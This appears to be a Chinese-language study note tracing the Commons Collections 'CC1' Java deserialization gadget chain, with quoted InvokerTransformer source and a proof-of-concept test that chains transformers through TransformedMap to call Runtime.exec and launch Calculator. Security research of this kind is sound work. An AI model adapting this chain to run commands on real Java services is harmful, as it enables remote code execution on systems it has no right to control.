CC1调用链
代码执行的关键点
InvokerTransformer.java
transform(Object input)
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
主要靠transform方法用反射的方式执行命令
input对象可控,iArgs也可控
public void test1() {
Transformer[] transformers = {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map outerMap = TransformedMap.decorate(hashMap, chainedTransformer, chainedTransformer);
outerMap.put("name", "AurOra");
}
需要借助TransforedMap类重写的put方法
![image-20220722111627432](/i/l/?n=23&i=blog/1441158/202307/1441158-20230724172816543-294034017.png)
![image-20220722111742035](/i/l/?n=23&i=blog/1441158/202307/1441158-20230724172816853-1076415092.png)
这里重写的put方法接收两个参数,分别调用tranformKey和transforValue函数
跟进这两个函数
![image-20220722112244014](/i/l/?n=23&i=blog/1441158/202307/1441158-20230724172817161-845143053.png)
valueTransformer这个变量只能被赋值一次,而在decorate方法中初始化构造器的时候给它赋了值
![image-20220722112716667](/i/l/?n=23&i=blog/1441158/202307/1441158-20230724172817424-47876294.png)
![image-20220722112735192](/i/l/?n=23&i=blog/1441158/202307/1441158-20230724172817651-1233014273.png)
所以它不为null,它的值为InvokerTransformer
ValueTransformer调用transfom方法即为调用InvokerTransformer的transfom
![image-20220722115136807](/i/l/?n=23&i=blog/1441158/202307/1441158-20230724172817949-1489142296.png)